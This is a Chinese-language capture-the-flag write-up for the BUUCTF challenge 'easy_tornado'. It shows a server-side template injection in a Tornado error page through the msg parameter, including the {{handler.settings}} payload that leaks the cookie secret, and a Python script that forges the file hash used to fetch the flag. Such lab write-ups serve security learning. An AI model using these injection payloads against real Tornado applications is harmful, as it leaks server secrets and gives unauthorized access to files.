buuctf(web):[护网杯 2018]easy_tornado

打开链接,给出如下界面

 

flag.txt提示了flag存放的位置,

直接查看会报错

welcome.txt存放了“render”,hints.txt存放了md5(cookie_secret+md5(filename))

render函数百度搜索,是一个渲染函数以及和题目easy_tornado的提示猜测是模板注入

先尝试一下在提示错误页面,修改msg参数的值,?msg={{5*2}}

 

验证成功

根据提示md5(cookie_secret+md5(filename)),已经有了flag的filename,只需要知道cookie就可以计算出filehash,进而获取flag。

 如何获得cookie,通过在网上查找资料,发现handler.settings存放cookie值,那构造playload:http://2e75d777-fc5f-4789-8cca-63f455836fb8.node4.buuoj.cn:81/error?msg={{handler.settings}}

 

 

构造playload:

import hashlib
cookie_str='a2f1cf75-1f85-418c-9eb3-84efe786e47b'
filename='/fllllllllllllag'
def md5(str):
    hash = hashlib.md5()
    hash.update(str.encode('utf-8'))
    s1 = hash.hexdigest()
    return s1

filehash =md5(cookie_str+md5(filename))
print(filehash)

 

posted @ 2022-01-24 15:16  微草wd  阅读(67)  评论(0)    收藏  举报